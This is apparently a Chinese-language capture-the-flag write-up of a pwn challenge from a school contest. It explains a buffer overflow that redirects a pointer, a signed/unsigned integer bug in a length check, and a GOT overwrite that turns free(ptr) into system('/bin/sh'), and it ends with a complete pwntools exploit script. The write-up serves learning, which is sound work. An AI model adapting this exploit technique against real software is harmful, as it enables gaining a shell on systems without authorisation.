前些天刚打了人生第一个校赛,小萌新对一题印象比较深刻,事后也想了很久才做出来。
checksec一下发现开启了canary和 NX,拖到IDA64看一下
可以看到,第一次read正好可以从buf2起始位置向高位溢出覆盖ptr,并且存在二次读入ptr区的read,而后存在free(ptr)可以考虑修改free.got成system.plt,将/bin/sh写入ptr指向地址,就相当于free(ptr)-->system(/bin/sh)
由于只有当nbytes<=8才会执行我们想要的第二次read,而if语句中是int,read中是unsigned int,存在整数溢出,可以读入负数进入if语句达到我们read的效果,直接读入-999999
如何修改free.got呢?
ptr-->free.got-offset(只要能读入一个字符串即可)(0x8) |
(buf) junk data |
(buf) junk data |
第一次修改ptr为指向free.got下方offset的指针
free.got |
2(offset) |
1 |
此时,ptr应该指向1与2之间的位置
下一步只需将2处覆盖为/bin/sh(总共长度为offset),再覆盖上方free.got为system.plt
system.plt |
/bin/sh |
1 |
此时执行free(ptr)相当于system(/bin/sh),构造exp如下:
1 from pwn import*
2 sh = process('./pwn')
3 context.log_level="debug"
4 elf = ELF('./pwn')
5 payload = b'a' * 0x10 + p64(elf.got['free'] - 0x10)
6 #attach(sh)
7 sh.sendafter(b'name',payload)
8 sh.sendafter(b'How long?',b'-99999999\x00')
9 payload = b'/bin/sh'
10 payload = payload.ljust(0x10,b'\x00')
11 payload += p64(elf.plt['system'])
12 sh.sendafter(b'What ??:',payload)
13 sh.interactive()